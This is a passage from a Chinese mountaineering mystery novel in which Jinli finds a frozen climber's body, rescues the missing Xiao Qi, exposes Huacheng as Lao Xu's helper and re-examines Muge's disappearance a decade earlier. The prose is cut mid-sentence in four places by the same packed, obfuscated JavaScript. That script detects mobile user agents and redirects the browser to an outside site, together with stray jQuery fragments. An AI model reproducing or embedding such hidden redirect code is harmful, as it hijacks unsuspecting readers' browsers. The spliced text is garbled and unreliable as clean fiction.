听到她的惊呼声,大家连忙七手八脚地围拢过来,将她所在的位置挖得更开,渐渐地,雪地中出现了一件红色的羽绒服,然后是一具穿着羽绒服的人体,他的手部,颈部,最后是头部……一张面色灰白的人脸暴露在大家面前。 那张脸,不是小柒的。 修二长舒了一口气,双腿一软,跌坐在雪地上。 “这是……”花城捂住自己的嘴后退了几步。 摩羯鱼胆子大,他看了看,说:“这应该就是锦里之前所说的,往年丧生在珠穆朗玛峰的某位攀登者吧!” 锦里看着那张脸,这是一个年轻男人的脸,不知道他已死去多久了,也许是因为这里的气温太低,他的尸体没有遭到太严重的腐蚀,只是过于苍白了些,但依稀还能看清他的五官。锦里几乎能想象得出,当年的他走到这个地方,终于力竭倒地,也许他没有其他同伴,所以没有人发现他倒在了这里,他也没有力气再自救,只能呆在原地,看着自己的生命一点一点的流失,后来无数次从天而降的大雪将他的身体掩埋,他似乎是安息了,又似乎没有,而去年珠峰的一场地震,又将他的尸体重新暴露了出来。 被他们这群后来者看到。 9 “这不是小柒,那小柒在哪儿?” 箍住双臂的力度唤醒了锦里的神智,她回过神来,发现修二正用双手紧抓着她,脸上满是焦急的神色。 “你一定知道小柒在哪儿,是不是?”他这样说道。 对,小柒,现在最要紧的是找到她的下落,说不定她还活着,还有希望!锦里强迫自己思考起来:自从来到营地后,小柒就不曾在他们任何人的视线中出现过,没有人看到过她,这说明什么?只有一个可能,那就是她从一开始就不在一号营地。她不在营地,不,是体力不支,没能顺利抵达营地!为什么其他人都没发现这一点,因为当时大家都太累了——穿越昆布冰川后,锦里曾经回头看到过,修二也亲口承认过,他跟雄一在那时已经自顾不暇了——偏偏他们三人缀在队伍的最末端,偏偏小柒跟在两个哥哥的身后,偏偏走在最后负责照看他们的卡米为了搭帐篷,提前脱离了队伍……所以越来越疲惫的小柒走到最后,渐渐跟不上队伍,她掉队了,或许还失去意识昏倒在地,所以连呼救都无法做到,而当时竟然没有一个人发现这件事,直到现在。 “她在距离营地不远的地方,”锦里坚定地说道,“从卡米脱离队伍那里开始,到通往一号营地的那段 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15227475|165708||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路,小柒一定就在其中的某一处!” 修二听罢,二话不说开始往他们来时的方向奔去,其余人赶紧跟上。 现在没时间多做解释了,算算时间,小柒已被困在那里很久了,他们必须赶紧找到她,那样说不定还有救。 那之后,雄一跟修二爆发出了巨大的能量,他们似乎完全忘记了疲惫,一马当先冲在最前头,熟悉地形的两名夏尔巴向导也紧跟着兄弟俩,不时连说带划地做一些指点,摩羯鱼、惊蛰、游人还有夏晴天走在中间的位置,帮忙呼唤小柒的名字,锦里跟花城则走在最后头,一双眼睛不停地搜寻着前后左右。 最后,他们在某段路途的中央发现了小柒倒在地上的身影,就像锦里猜测的那样,因为疲惫和寒冷,她已失去意识,双眼紧闭,不停掉落的雪花在她身上堆积成厚厚的一片,几乎将她整个人完全掩埋。 雄一跟修二连忙将她扶起来,好在她还有微弱的呼吸,雄一将她背在背上飞速往回赶,外面太冷了,他们必须尽快让她回到温暖的地方。 忙碌了一番,众人再次返回到帐篷里,每个人心中都有一种劫后余生的感觉。 终于可以真正松口气了。 小柒被放进了睡袋里,明玛跟卡米拿来急救箱——长期从事向导工作,他们当然掌握有相应的急救知识——一番探查之后,他们表示小柒存在一些失温的症状,需要好好保暖,好好休息,直到状态恢复过来。 两位哥哥再也不敢忽略她,现在就守在她的身边照顾着。 看到这一幕,其他人没有一窝蜂围过去,而是将空间留给了兄妹三人。他们自觉地聚拢在一处,开始讨论起这件事来。 “没想到会发生这种事儿,看来珠峰是真的很危险!”摩羯鱼第一个发出感慨。 被这句话一带动,大家也纷纷发声表示赞同,语气里全是如释重负的心情。 “是啊,稍有不慎就……” “下次我们必须多加注意,今天这种情况不能再发生了。” “确实。今天要不是锦里,小柒说不定会就这样‘失踪’在雪山上,谁能想到她从一开始就没有抵达一号营地呢?” 不知不觉间,众人的焦点开始转移到锦里身上,锦里摆摆手,笑道:“我也只是突然间灵光一闪。其实,当时如果不是我跟花城恰好远远地看到了那具尸体的上半身,我们也不会误以为那就是小柒,如果没有这个误会,说不定大家就能早些发现小柒没有抵达营地——”话到一半,锦里突然顿住了。 那一瞬间,她想明白了很多事情。 包括来到一号营地,见到那具尸体,经历小柒失踪事件……她以为一切只是偶然,但原来她仍旧是一步一步走在别人为她设好的陷阱里。 是老徐吗?这个设置陷阱的人。 就如他过去一年所做的那些事一样。 24.替身死者⑥ 10 “你怎么了,锦里?” 听到这声呼唤,锦里转过头去,看到花城的眼中满是担忧。 锦里无动于衷,只是轻声说道:“还没达到你想要的结果吧?” 花城的脸色倏然一下变了。 “什么?” “你在说什么?” 不仅是花城,其余人也在反问。 锦里摇摇头,说:“没什么。”她不想让其他人也卷入这件事情中,他们原本就对此一无所知,没必要将皑皑白雪下更多的血腥与罪恶展露给他们看。 只有花城明白她这句话的含义。 自从决定要来珠峰后,锦里一直防备着老徐。当时她已经知道,她加入8848登山队之后遭遇的所有事件都不是偶然,背后都有老徐在做推手,而且8848登山队里还有一个他的帮手。老徐想通过制造一桩桩事件,让她认识到雪山攀登丑陋的一面,从而放弃登山,锦里认为这一切一定跟十年前木格失踪的事有关,老徐知道事情的真相,而那个真相不那么美妙,所以他才死活都不肯告诉锦里,甚至竭尽全力阻止她去探寻这件事。 他越是这样,锦里就越是想要一探究竟。 来到珠峰大本营后,锦里暗自下定决心,不再重蹈前两次的覆辙,不再让老徐有机会动手脚污染她的第三次攀登历程。 每一个决定都是由她自己所做的选择,从拒绝午睡、打算在大本营闲逛,到在帐篷外碰到摩羯鱼、游人和惊蛰,同意结伴同行,再到闲逛时选择走右边的道路,都是按照她自己本身的意愿来的。她特别注意这一点,是因为她不想再像前两次一样,在不知不觉中被夏晴天,或是凯特,或是其他的什么人所左右,从而卷入老徐想让她知道的某个事件中。 虽然在小柒失踪后,她曾短暂地怀疑过摩羯鱼、游人、惊蛰这三个中的一个,怀疑自己之所以结识小柒,是在他们某个人的引导之下。 但锦里很快就明白自己想错了,这件事跟他们无关。 只要站在老徐的角度想一想就能明白了。他想让她看到什么?了解到什么?恐怕那具葬身珠峰的尸体才是关键,老徐一定是想借此让锦里意识到登山的残酷,攀登路上洒满了无数前人的鲜血,所以木格会迷失在慕峰并没有什么好奇怪的……这才是他想要表达的意思吧?想想他一直以来的目的,“让锦里看到尸体是关键”这样的想法才是合理的。 所以这一次,老徐的帮手是花城。 现在想来,正是花城的那些举动,将她一步一步推入了现在的局面之中。 时间回到队伍刚刚抵达大本营那天,锦里还记得,当时她跟摩羯鱼他们在大本营闲逛,偶然认识了雄一、修二跟小柒,之后他们返回自己的帐篷,结果竟然在外面碰到了原本声称自己很累、要午休一下的花城,她正在跟明玛说着什么。 在说什么呢?花城解释说明玛是来告知她第二天的攀登计划的,他们要穿越昆布冰川,去到一号营地。 当时没有人怀疑她说的话,包括锦里。但现在回想起来,她的解释却是如此的可疑。首先,两个夏尔巴向导一开始的说法明明是“要走到什么海拔看你们”,没道理到了下午就变了样,变成好像是两个向导擅自替他们决定了接下来的行程,这不合常理。还有,如果明玛跟卡米是来通知大家行程安排的,他们怎么也不应该只对其中一个队员说这件事吧?至少也应该把事情告诉到所有队员,或者是队伍中负责沟通的那个人——摩羯鱼。 然而事情在花城口中却变成了另一个模样。锦里认为,那正是她撒谎的地方。 不是明玛告诉了她第二天的攀登计划,而是她主动找上明玛,请他按照她的计划做准备。也就是说,决定要前往一号营地的人,是花城。 为什么非得是一号营地不可?原本第一天队伍可以只在昆布冰川转转就返回大本营的。当锦里将线索推进到这个地步的时候,她想起了一号营地里那具身穿红色羽绒服的尸体,于是一切就都清楚明了了。 花城一定早就知道这里有一具尸体——要知道这点并不难,来到珠峰的人大多都听说过,珠峰埋葬着很多逝去的攀登者,如果有心人想要查查那些尸体分布的具体位置,就自然能够查出来,更何况花城是在老徐的指导下行事。 于是,知道尸体存在的花城将锦里引来,想让她看到雪山攀登中残酷的一面,就像过去两次老徐所做的那些事一样。 小柒只是他们这次行动的牺牲者,因为这兄妹三人偶然加入到8848登山小队,要跟他们结伴同行,花城也许从中看到了值得利用的一面。对了,当时锦里跟花城一起看到了半掩在岩石后面的那具尸体的上半身,锦里误以为那是小柒,但花城肯定知道那不是,她早就知道一号营地有一具尸体因为去年的地震而重见天日,但她什么也没说,反而将计就计,让锦里带着大家去到岩石后面,发现尸体,同时让小柒失踪这件事变得更加错综复杂。 这么说来,也许小柒的遇险……也不只是单纯的意外。 还有凯特遇害事件,不也是花城一直引导着她去关注的吗? 其实这已经是一种提示了,只是当时的锦里完全没有想到,老徐一直在暗地里阻止她重返雪山,她更没有想到的是,8848登山队里会有听命于老徐的人。 11 “还没达到你想要的结果吧?” 当锦里对花城提出质问时,花城的脸色一下子变得很苍白,她在一瞬间就明白过来,自己暴露了。虽然锦里没有当场跟她对峙,但花城心里明白,这个时刻早晚会到来。 这时小柒醒了。 大家连忙朝着她围拢过去,对她嘘寒问暖,百般照顾。 留在原地的只剩下锦里跟花城。 锦里看了看帐篷外面,发现风雪已渐渐变小,她给了花城一个眼神,然后就掀开帐篷往外面走去。花城犹豫片刻,也跟了上去。 外头风雪虽小,凛冽的空气却仍旧充斥着周身,两个人沉默地走着,一向能言善道的花城此时却像个锯嘴葫芦,她从来没觉得哪一刻有像现在这么窒息过。 “你是怎么认识老徐的?” 锦里倏的开口了,她的声音比这周围的空气还要冰冷。 “我……”花城下意识想要撒谎,但很快就顿住了,她想,既然锦里用这么笃定的态度跟她交谈,她一定已经想明白了前因后果,此时撒谎毫无意义。所以她停顿了一下,坦白道:“我是严勇的女儿。” 严勇,圈子里同龄的人都叫他勇哥,锦里叫他勇叔。他曾经是老徐跟她所在攀登队伍的队长,也是十年前木格失踪事件的当事人之一。 所以花城之所以听命于老徐,是勇叔授意的吗?这么做的目的,果然跟木格事件有关吗?锦里皱了皱眉头,她对此早有心理准备,因此心绪只稍微动摇了一瞬,就又恢复平静。 “这么说,你加入8848登山小队,也是为了阻止我继续登山?凯特的事,也是你故意引导我去关注的?” “不!”没想到,花城对此矢口否认,“不是这样的。我们两个的爸爸虽然以前是一起登山的队友,但其实已经很多年没有往来了,不久之前,我对你还有徐叔的事都还一无所知呢!想去登山是我自己的主意,我也确实是因为受到我师姐的影响才想去登山的,就像我们第一次见面时说的那样。只是……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15231559|165708||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “只是?” “我爸爸知道我想去登山的事,就推荐我加入了8848登山队,还介绍了徐叔给我认识,但那个时候我仍旧不知道徐叔跟我爸爸是老队友,也不知道你是徐叔的女儿。徐叔很关心我们小队的攀登情况跟攀登计划,时常找我聊这方面的事情,我当时并不知道他是另有目的。还有凯特那件事,也不是我故意要引导你去关注的,而是我自己真的很关心凯特的下落,后来得知了徐叔的目的,我才回味过来。” “你是什么时候知道了他的目的?” “在我们做完攀冰培训之后。” 这一次不等锦里追问,花城自己就继续了下去: “攀完冰之后的某天,徐叔突然联系我,询问我们下一座计划攀登的雪山是什么,就跟他之前每次问我的问题一样。我告诉了他我们要去珠峰,我想这件事完全脱离了他的掌控——要想在珠峰找到合适的人选,配合他的想法阻止你,不是一件容易的事——所以他选择了将他的计划全部告诉我,包括他跟你之间的父女关系、他跟我爸爸之间的前队友关系、十年前木格失踪的前因后果,以及十年后你加入8848登山队的真正目的。 “然后他问我能不能帮他这个忙,阻止你继续在雪山里迷失下去……我答应了。这次珠峰之行,我要做的就是想办法让你看到一号营地的尸体,徐叔说,他只是想让你知道,登山是很残酷的一件事,随时都有丧命的危险。你该从木格的事情中走出来了。锦里,我也是这么想的,我希望你能放下过去,所以我才答应了他的请求。 “这就是事情的全部经过。” “那小柒呢?” “什么?” “小柒掉队的事,是你故意动的手脚吗?” “怎么可能!你怎么会那么想呢?我让明玛带我们去到一号营地,是为了要阻止你继续登山,不是为了要杀人。” “那当时我们一起看到岩石后面的身影,我以为那是小柒,你为什么不纠正我?如果我们早点发现那其实是别的攀登者的尸体,我们就能早点把掉队的小柒救回来了。” “因为我也不确定那个背影到底是谁的——我也是第一次来到一号营地,之前只是徐叔对我说,一号营地有一具尸体因为去年的地震露出地面来了,我没亲眼见过,我也不知道——我本想引导你过去确认一下的,但后来很快就下起大雪,大家都忙着搭帐篷、收拾行李,我错过了说出口的机会。” 听完花城的一番坦言,锦里沉默了片刻。 她知道花城说的是真心话,花城是自以为为了她好,才会做出这些事情,而且她也没有陷害小柒,这让锦里没办法再冷静自持地对她的所作所为进行批判。 可是…… “我不会放弃登山的,这正是为了木格。” 锦里仍旧坚持着这样的信念。 花城呆住了:“为什么?” “因为我知道,木格的失踪,并不是意外。其中一定有隐情。” “可是,徐叔对我说的明明是……”花城喃喃道,她愣住了。 锦里也愣住了,她突然意识到,对于木格失踪这件事,她跟花城的认知并不一样。 事实上,她跟任何人的认知都不一样。 “他是怎么说的?” “是意外。”花城这样回答道,答案一如锦里十年前听到的那样,但是这一次,她开始想要了解更多。 “我想要知道得更详细点。他不是把这件事的前因后果都告诉你了吗?” 花城点点头。 于是她开始仔细回忆老徐的说辞,随着花城一字一句的讲述,锦里也慢慢回忆起了当年那段往事的全部经过。 25.红雪① 1 十多年前,锦里跟着父亲老徐四处登山,陆续认识了一帮人,他们分别是:比锦里大不了几岁的年轻男孩儿木格、沉稳可靠的中年男子勇叔、难得住在同一个城市的老乡强子、攀登姐妹花文静和莎莎,还有没什么存在感的寡言男子阿晋。偶然一次机会,他们八个人凑在一起登了一次山,立即就发现无论是从体能、攀登节奏,还是从生活习性上来说,彼此都很合拍,于是决定组成一支自主登山队,由年纪最大的勇叔担任队长。 为了给队伍创造一个全新的攀登回忆,他们从初级山峰开始,一座一座逐渐往高峰攀去。因为配合默契,他们总是一次就登顶成功,渐渐地就在圈子里闯出了名头。其他攀登者或许不知道他们有几个人、分别长什么样子,但一定都听说过这支队伍的存在。 很快,时间来到2009年7月。 刚刚登顶一座六千米级别的山峰,接下来,他们该往七千米进发了。 队伍选择了去攀登海拔7546米的慕士塔格峰,而这也成为他们在一起攀登的最后一座雪山。 没有人知道是哪里出了差错。 他们跟往常一样,收拾好装备,背着驮包来到大本营,跟以往登过的山不同的是,作为一座七千米级别的山峰,慕峰的攀登路线更长,为了适应从大本营到山顶的海拔变化,队伍需要进行两次拉练,然后才正式开始他们的攀登之路。 所谓拉练,就是从大本营往上走一段路,让身体适应海拔高度后,再返回大本营的过程。对于慕峰来说,队伍的第一次拉练,需要从大本营走到一号营地,然后返回。休息一天,再进行第二次拉练,从大本营走到一号营地、再到二号营地,之后直接返回大本营。 一切进行得很顺利,在整个拉练过程中,没有一个人出现过高反症状,大家都适应得很好。 除了锦里。 她走到后来,稍微有些跟不上大家的节奏了。慕峰的地形没什么凶险之处,就是很宽,很广,线路很长,暴露感很强。这种地形很考验攀登者的耐力跟毅力,而当时只有十五岁的锦里,在走了一段路之后,开始感觉有些倦怠。 那时除了老徐,最照顾锦里的人,就是木格。 木格明明可以很轻松地走在最前面,凭他的体能完全没有问题。但在发现锦里渐渐有些掉队之后,他就自发地留在了最后,走在锦里身边,跟她聊天,帮她打气。 老徐发现两个年龄相近的孩子似乎很聊得来,再加上锦里只是走得有点慢,其他并没有什么异状,他于是跟他们打了声招呼,就放心地将锦里交给木格照顾,自己继续往前走去了。 这下只剩木格陪在锦里身边,但锦里一点也不害怕,她只是很好奇。 “你不想快点走到前头去吗?” 不怪锦里有此一问,因为她早就发现,其他队员都将攀登看做一等一的大事,平常他们走的每一步都是竭尽全力——登顶速度对他们来说也是很重要的一项数据——这次虽然只是在拉练,但每个人都心无旁骛、用自己的极限速度前进着。不到危机关头,他们不会留下来照顾掉队的队友。 所以除了攀登以外,锦里跟他们一点也不熟,他们没有功夫跟心思聊其他的话题。 但是木格却为她停下了,锦里觉得很好奇。 对于锦里的问题,木格只是微微一笑。他这样回答道:“因为对我来说,最重要的并不是登顶。” “那是什么?” “其实我一直很羡慕大家为了自己的目标努力拼搏的样子,”木格没有直接回答,而是转而说起了其他的话题,“我知道队伍里的每个人都是把登顶作为最终目标行动着。象是队长,全程镇定地指挥着队伍前进的队长总是一副很可靠的样子,还有阿晋,总是沉默寡言,似乎很少出现情绪上的波动,只有在登顶那一瞬间,他们的脸上会露出激动的笑容,还有文静跟莎莎,平常明明那么注重自己的外貌形象,冲顶那天凌晨起床却毫无怨言,甚至一副跃跃欲试的模样,还有徐哥跟强子哥,他们对登顶的渴望也一点都不少…… “看到这样的一支队伍,我就开心了,我想看到大家在攀登途中、为了心中的目标而奋勇向前的样子。我只是在享受这样的画面而已。” 木格说完后,对着锦里温柔地笑了。 锦里似懂非懂地点了点头。 2 虽然并没有完全理解木格的话,但这不妨碍锦里认知到他是一个很和善的青年,他似乎很会察言观色,能轻松看透每一个队员的心,不仅如此,他还能设身处地理解他们、支持他们。 当时锦里年纪还太小,后来回想起这段对话,她意识到木格在团队中是纽带一样的存在,将大家紧密团结在一起,这是他的价值所在。 那番谈话让锦里跟木格的关系变得亲近起来。 拉练结束后,大本营一连下了好几天的雪。因为天气状况很不好,队伍不能在此时前进,只得呆在大本营,等待合适的攀登时期。 接下来就出现了锦里曾在梦中见到的那段过往—— 某个风雪稍小的下午,她在雪地里发现了一只被冻僵的小鸟,她将它带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15238204|165708||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进帐篷,救活了它。后来木格发现了小鸟的存在,提议把小鸟偷偷藏在他自己睡觉的帐篷里,因为队长不会让他们光明正大地照顾这只小鸟。 但小鸟还是在当晚被跟木格同睡一个帐篷的强子发现了,队长也紧跟着知道了这件事。 队长果真不赞同他们的这番举动,于是小鸟仅在大本营呆了一个下午就又被放走。锦里不知道它能不能适应外面恶劣的天气,她后来再也没有遇见过它。 之后天气好转,队伍开始正式攀登慕峰。 那个时候登山的人还很少,他们沿途没有碰到一支其他的队伍,前后左右、茫茫天地间,只有他们自己留下的脚印在蜿蜒向前。 抵达一号营地和二号营地的路程都很顺利,天气很好,阳光明媚,也没有人出现高反症状,大家都适应良好。 但从二号营地前往三号营地的路上,天空开始乌云密布,天与地的距离被压缩得很近,被风吹得不断翻卷的云层仿佛就在头顶触手可及的地方,牢牢压迫着他们的神经。 当时虽然是7月,但队伍已经身处海拔六千多米的高空,气温超出想象的低,所以每个人都拿出了一早备好的羽绒外套——这是攀登高海拔雪山的必备品,如果不想在六七千米的海拔被冻伤冻残,羽绒外套是必不可少的。 它原本主要是在攀登者呆在高海拔营地时使用的,攀登路上并不一定要用上,因为攀登时人体会产生热量,所以并不会觉得太冷。但现在暴风雪突至,气温比之前更低了,所以大家在半途上就穿上了羽绒外套。 穿着这么笨重的衣服,队伍在逐渐变大的风雪之中,向上的脚步慢慢变得蹒跚。 最后抵达三号营地的时间有些晚了,他们于是不得不在黑夜中借助头灯的光亮扎营、准备晚餐……好不容易窝在帐篷里吃完简易的晚餐,每个人都是一副精疲力尽的样子,想到凌晨还得爬起来冲顶,现在是时候抓紧时间睡一觉了。 锦里照例跟老徐睡一个帐篷,她躺在睡袋里,将外面仍在呼啸的风声听了个一清二楚。天气似乎完全没有要好转的样子。 虽然对之后即将到来的冲顶有些担心,但锦里还是慢慢睡过去了,只是睡得很不安稳,梦中似乎出现了一些光怪陆离的场景,不断搅乱着她的神经。 梦中的景象变化着,变化着,开始变得越来越亮,与此同时,锦里还听到了似乎从很遥远的地方传来的呼喊声。 “木格……” “木格……” 不,这不是梦! 锦里猛地睁开眼睛,她清醒过来了。 26.红雪② 3 然后她得知了一件很可怕的事:木格失踪了。 之后发生的一切,即使过去十年她都无法忘记:原本似乎只是出去帐篷上个厕所的木格,就这样不知所踪,帐篷周围很离奇的丝毫没有留下任何人的脚印。这是很不可思议的事,要知道,在海拔高达六千多米的三号营地,地上的积雪已经厚得差不多快要到人的小腿肚了,再加上傍晚之后雪就停了,在这样的情况下,只要木格离开,就一定会在地上留下一串昭示他行走方向的脚印,甚至是一条有一定深度的沟渠。 然而,本不应该消失的脚印,就这样在雪地上消失了;本不应该消失的人,也这样消失在了茫茫风雪中。 其实要让脚印消失,有一个办法,那就是:一边走,一边转过身将两边的积雪扫到中间,盖住脚印,这样即使路面仍旧不平整,呼啸的大风也会很快将地面吹平。 但如果这样的话,这件事就充满了人为的痕迹。 谁会这么做? 当时,锦里相信每个队员应该都察觉到了这件事情的蹊跷之处,但他们并没有去深究这件事。的确,他们是在帐篷周围四处搜寻了一番木格的身影,但搜寻的时间实在是太短,他们放弃得也实在太早。很快,队长就宣布了他的决定:队伍继续前进,准备冲顶。没有一个人对此有异议。 为了登顶的荣誉,木格就这样被放弃了。 自那之后,怀疑的种子就开始在锦里的心中生根发芽。 她觉得,木格的失踪是人为的,他被杀死了,而凶手只可能是当时这支唯一呆在三号营地的队伍里的人:勇叔、强子、文静、莎莎、阿晋,还有她的亲生父亲,老徐。要么所有人都是共犯,要么他们就是在包庇其中的某个人,而用来寻找失踪的木格的时间之所以那么短,是因为他们只是在装模作样。 在唯一对这件事毫不知情的锦里面前装模作样,欺骗她,蒙混她。 曾经在她心中纯洁无暇的雪山,已变成了埋藏着鲜血与谎言的污秽之地,白雪被象征着杀戮的血液染红,再也回不到原来的模样。 之后发生的一切似乎也在印证着锦里的猜想。 登顶慕峰后,队伍散了,老徐跟强子不再登山了,其他队员似乎也没有再活跃在登山界,看起来就象是他们在不约而同地保守着某个秘密。面对锦里的追问,老徐跟强子都坚称木格的失踪只是意外,强子更在之后拿出了所谓的“木格的最终留言”。 怎么会这么巧?在三号营地的时候他们没有拿出这个留言给锦里看,她甚至不知道这个留言的存在,偏偏是在她对这件事穷追不舍的时候,强子拿出了这么一条留言,里面写着是木格希望他们放弃寻找他,继续攀登。 这条留言是真的吗?真的是木格写下了这些话吗? 锦里无论如何也不能相信。 4 将这段过去从头到尾回忆了一遍,锦里愈发坚定自己的想法:是的,勇叔、强子、文静、莎莎、阿晋跟老徐,这六人她一个也无法相信,木格一定是丧生在他们某个人之手。 恰好花城这时候讲到了队伍来到三号营地的事,花城所讲的内容都是由老徐告诉她的,前面部分跟锦里的回忆并没有什么不同,但到了三号营地这里,不同的声音却出现了。 “……徐叔说,他睡到一半,被帐篷外的声音吵醒,当时他不清楚发生了什么事,出去后一打听,才知道竟然是木格失踪了,他跟着大家在附近找了片刻,但是一无所获,后来他想到自己还有个女儿要照顾,就提前返回了营地。”花城看着锦里,继续往下说去,“徐叔回到营地,刚好看到你从帐篷里出来,他说他跟你在外头讨论了一会儿木格的情况,当时其实心里就已经做好了准备,觉得人可能是找不到了,尤其是没过多久又看到强子他们陆续返回营地的身影。徐叔说,他当时就有种预感:队伍说不定很快就会出发冲顶。所以他就让你先回帐篷里等着,他自己去找队长打探消息。没想到在队长那里,他碰见了惊慌失措的强子,强子发现了木格留下的‘遗言’,正准备呈给队长看。” “等等!”锦里忍不住惊叫道,“那条留言是强子叔发现的吗?” 花城点点头。 “徐叔是这么说的。” 怎么会这样?这个突如其来的消息让锦里呆住了,她一直以为留言是当时大家在寻找木格途中捡到的,虽然后来她是从强子那里看到的实物,但她也没有多想,只以为是强子负责保管此物,直到此刻,她才第一次知道原来留言竟然是经由强子发现的,这种感觉很不好,因为她隐隐觉得有什么重要的线索被自己给忽视了。 是什么呢…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15243493|165708||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而且这么看来,留言似乎真的是出自木格之手,而不是像她之前以为的那样是伪造,否则老徐不会直接说出留言发现者的身份,而是会含混带过。 花城的声音还在继续响起,然而她的说辞再无新奇之处:“看了留言后,大家才明白木格的一片苦心,他知道自己迷路了,但不希望队伍把时间浪费在寻找他这件事上,他只想看到大家顺利登顶,因为他就是这么善解人意的一个人……”这些话都跟过去十年老徐劝慰锦里的说辞一模一样。 在这些熟悉的字眼的包围下,锦里缓缓闭上了眼睛,脑海中立即浮现出一张四个边都破破烂烂的纸条,看起来象是从某个笔记本上随意撕扯下来的。 虽然只看到过一次,但那张纸条上的每一个字她都还能清晰地回想起来。 这里太陌生,也太冷了,坚持着走了这么久,意识开始渐渐模糊,我想我快死了。 从登山的第一天起,我早已做好也许某天会葬身雪山的心理准备,我亲爱的队友们,如果你们有幸看到这张纸条,请不要再继续找寻我,不要再浪费时间,我最想看到的,就是大家能够顺利登上顶峰,连带我的份一起。 让我再一次看到,全员成功登顶的盛景吧。 现在,我要尝试着在这个陌生的地方继续前行了,看看我最终会走向何方。 留言是真的,那么当初,木格是怀着什么样的心情写下这些话的呢?而发现这张纸条的强子,当时又会是什么感受? 话说回来,强子是在什么时候发现这张纸条的? 锦里漫无目的的思绪突然在这里停住了。 对啊!她突然想到,这件事没有一个队员告诉过她,十年前,不管她再怎么逼问,想要问出木格失踪的隐情,大家都只是一味地劝说这只是一场意外,偶尔他们会说,木格最后的留言就是证据……但从来没有人跟她说过,是谁发现了木格的留言,以及是在什么时候发现的。 没有人叙述过这个过程。 锦里也从来没有问过,因为过去在她心里,她最想解开的是木格离奇失踪的谜团,对于留言,她并没有深究,只以为是其他人在搜寻木格下落时偶然发现的。 突然间,她发现自己其实错得离谱。 这个一直以来被她忽视的线索,才是解开谜题的关键。 27.红雪③ 5 锦里顺着这条线一直思索下去。 强子是在什么时候发现了木格留下的纸条? 首先,锦里觉得老徐撞见强子把纸条拿给队长看的那个时间点,肯定距离强子发现纸条的时间过去没多久,因为他要等着队长做决定,所以他肯定会在第一时间把纸条拿给队长看,之后队长才会下达指令,让大家出发冲顶。 那么,强子是在跟着大伙儿一起去寻找木格下落的途中,在雪地里发现了那张纸条吗? 不,不是的。 锦里仔细回想当时的情景,她记得,在遍寻无果之后,队员们陆续返回了营地,走在最前头的是强子,他直到回到自己的帐篷时都看起来垂头丧气的。如果当时他已经发现了那张纸条,他不会是那种表情。 所以答案只剩下一个:强子是在返回帐篷之后,在摆放着他跟木格共同的个人物品之中,发现了木格留下的纸条,之后他立即找到队长,说出了这件事,而这一切碰巧被前来询问队长后续安排的老徐撞见。 一切都对上了。 纸条是在帐篷里发现的,这一结论推翻了过去十年锦里所做过的全部猜想。 因为这意味着,在离开帐篷之前,木格其实就已经知道自己会一去不回,所以他留下这张纸条,是要让大家不要浪费时间去寻找他。 可能在他的设想之中,睡在同一个帐篷的强子发现他失踪后,会第一时间看到他留下来的纸条,然后劝告其他人不去管他,按照原计划冲顶就好。但他没想到的是,发现他不见的强子惊慌失措,根本顾不上好好看一眼帐篷里的东西,就把他失踪的消息告诉了其他人,然后所有人出动去找他。 直到遍寻不到,强子垂头丧气地返回帐篷,才发现了纸条的存在。之后队长按照纸条上木格的“遗志”,做出了让大家继续冲顶的决定…… 是的,直到此刻锦里才开始考虑起这种可能性:说不定一切都是木格在自导自演,他是主动选择的远离营地,主动一边走一边消去自己的脚印,主动的想要一去不回。 但是……不,不对。 这样一来,纸条上第一句话的意思又该作何解释呢? 这里太陌生,也太冷了,坚持着走了这么久…… 这句话既可以理解为木格迷路之时“在陌生的地方坚持着走了很久,想要找到回去的道路”,也可以理解为他主动离开营地,然后“坚持着走了很久,直到来到一个完全陌生的地方”。但无论怎么想,这都应该是他身处茫茫雪地之中写下的句子。 但实际上,按照锦里的推测,纸条却是木格在离开之前特意留在帐篷里的,这不是自相矛盾了吗?落笔时仍旧身处帐篷的木格,为什么要将事情描述得好像他已经走了很久很远一样? 为什么? 